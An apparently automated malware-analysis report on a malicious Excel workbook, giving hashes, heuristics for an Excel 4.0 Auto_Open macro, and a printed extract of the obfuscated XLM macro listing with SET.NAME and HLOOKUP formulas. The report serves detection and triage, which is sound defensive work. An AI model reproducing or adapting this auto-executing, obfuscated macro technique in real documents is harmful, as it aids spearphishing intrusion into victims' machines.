Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d463450f43c7bd7e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:56 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 8ddf0885e7ff0f9dcd58b8bad3f5c6c4 SHA-1: fb02937d865fc37b6b12dc1c53cd372ace79c582 SHA-256: d463450f43c7bd7e480ebe0b8e7a23d85c7aed619570c085035aff45271844a9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The presence of dangerous formula APIs like RUN indicates the macro is designed to execute commands. This strongly suggests the file is a malicious document intended to deliver a payload via a spearphishing attachment, a common initial access vector.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6838 bytes
SHA-256: fe4417860f3fccce382d1e13d4f8d7e74b67b91ab83638aa11b0df1c0578d51f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yQQOaV
' 0018     26 LABEL : Cell Value, String Constant - AcLnULDefLf len=0 
' 0018     27 LABEL : Cell Value, String Constant - AehlVkgRiXdQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - AHtVsEVEydU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G170 
' 0018     20 LABEL : Cell Value, String Constant - Auvag len=0 
' 0018     27 LABEL : Cell Value, String Constant - CGdMWGgzJOUz len=0 
' 0018     26 LABEL : Cell Value, String Constant - cwzsAeSjWqO len=0 
' 0018     21 LABEL : Cell Value, String Constant - gIVjFv len=0 
' 0018     24 LABEL : Cell Value, String Constant - HHigGoytp len=0 
' 0018     27 LABEL : Cell Value, String Constant - irkvVRluGOhE len=0 
' 0018     26 LABEL : Cell Value, String Constant - jTvZPHjCuLW len=0 
' 0018     27 LABEL : Cell Value, String Constant - LhTVFfpEIVcl len=0 
' 0018     21 LABEL : Cell Value, String Constant - OakjNP len=0 
' 0018     23 LABEL : Cell Value, String Constant - pPIiJPDp len=0 
' 0018     22 LABEL : Cell Value, String Constant - prnKxje len=0 
' 0018     21 LABEL : Cell Value, String Constant - qKLLLb len=0 
' 0018     27 LABEL : Cell Value, String Constant - QsxYzaPquqjA len=0 
' 0018     27 LABEL : Cell Value, String Constant - tLRRWKNRFcbH len=0 
' 0018     24 LABEL : Cell Value, String Constant - XXZdprWqc len=0 
' 0018     27 LABEL : Cell Value, String Constant - yAAkxBFhbAUG len=0 
' 0018     24 LABEL : Cell Value, String Constant - yodLYWGGq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yQQOaV,G78,"SET.NAME("AHtVsEVEydU",0+VALUE("0"))",""
'  yQQOaV,G80,"SET.NAME("Auvag",AHtVsEVEydU)",""
'  yQQOaV,G82,"SET.NAME("pPIiJPDp",AHtVsEVEydU)",""
'  yQQOaV,G84,"SET.NAME("irkvVRluGOhE",COUNTA(gIVjFv))",""
'  yQQOaV,G88,"SET.NAME("AehlVkgRiXdQ",COUNTA(HHigGoytp))",""
'  yQQOaV,S89,"",-224.00000000000000000000
'  yQQOaV,G90,[],""
'  yQQOaV,S90,"",134.00000000000000000000
'  yQQOaV,S91,"",950.00000000000000000000
'  yQQOaV,S92,"",913.00000000000000000000
'  yQQOaV,S93,"",843.00000000000000000000
'  yQQOaV,S94,"",-673.00000000000000000000
'  yQQOaV,G95,"SET.NAME("jTvZPHjCuLW","")",""
'  yQQOaV,G97,"Auvag",""
'  yQQOaV,G100,"SET.NAME("yodLYWGGq",HLOOKUP("*",gIVjFv,Auvag,FALSE))",""
'  yQQOaV,G104,"prnKxje",""
'  yQQOaV,G106,"SET.NAME("qKLLLb",AHtVsEVEydU)",""
'  yQQOaV,G111,[],""
'  yQQOaV,G114,"qKLLLb",""
'  yQQOaV,G119,"tLRRWKNRFcbH",""
'  yQQOaV,G122,"OakjNP",""
'  yQQOaV,G125,"yAAkxBFhbAUG",""
'  yQQOaV,G129,"SET.NAME("XXZdprWqc",VALUE(HLOOKUP("*",HHigGoytp,yAAkxBFhbAUG,FALSE)))",""
'  yQQOaV,G133,"CGdMWGgzJOUz",""
'  yQQOaV,G138,"jTvZPHjCuLW",""
'  yQQOaV,G142,"pPIiJPDp",""
'  yQQOaV,G145,NEXT(),""
'  yQQOaV,G148,"LhTVFfpEIVcl",""
'  yQQOaV,G151,[],""
'  yQQOaV,G155,"AcLnULDefLf",""
'  yQQOaV,G160,NEXT(),""
'  yQQOaV,G165,RETURN(),""
'  yQQOaV,G192,"SET.NAME("QsxYzaPquqjA",G78)",""
'  yQQOaV,G196,"gIVjFv",""
'  yQQOaV,G199,"SET.NAME("HHigGoytp",R58C15)",""
'  yQQOaV,G204,"SET.NAME("AcLnULDefLf",212)",""
'  yQQOaV,G209,"SET.NAME("cwzsAeSjWqO",7)",""
'  yQQOaV,G211,QsxYzaPquqjA(),""
'  yQQOaV,G212,HALT(),""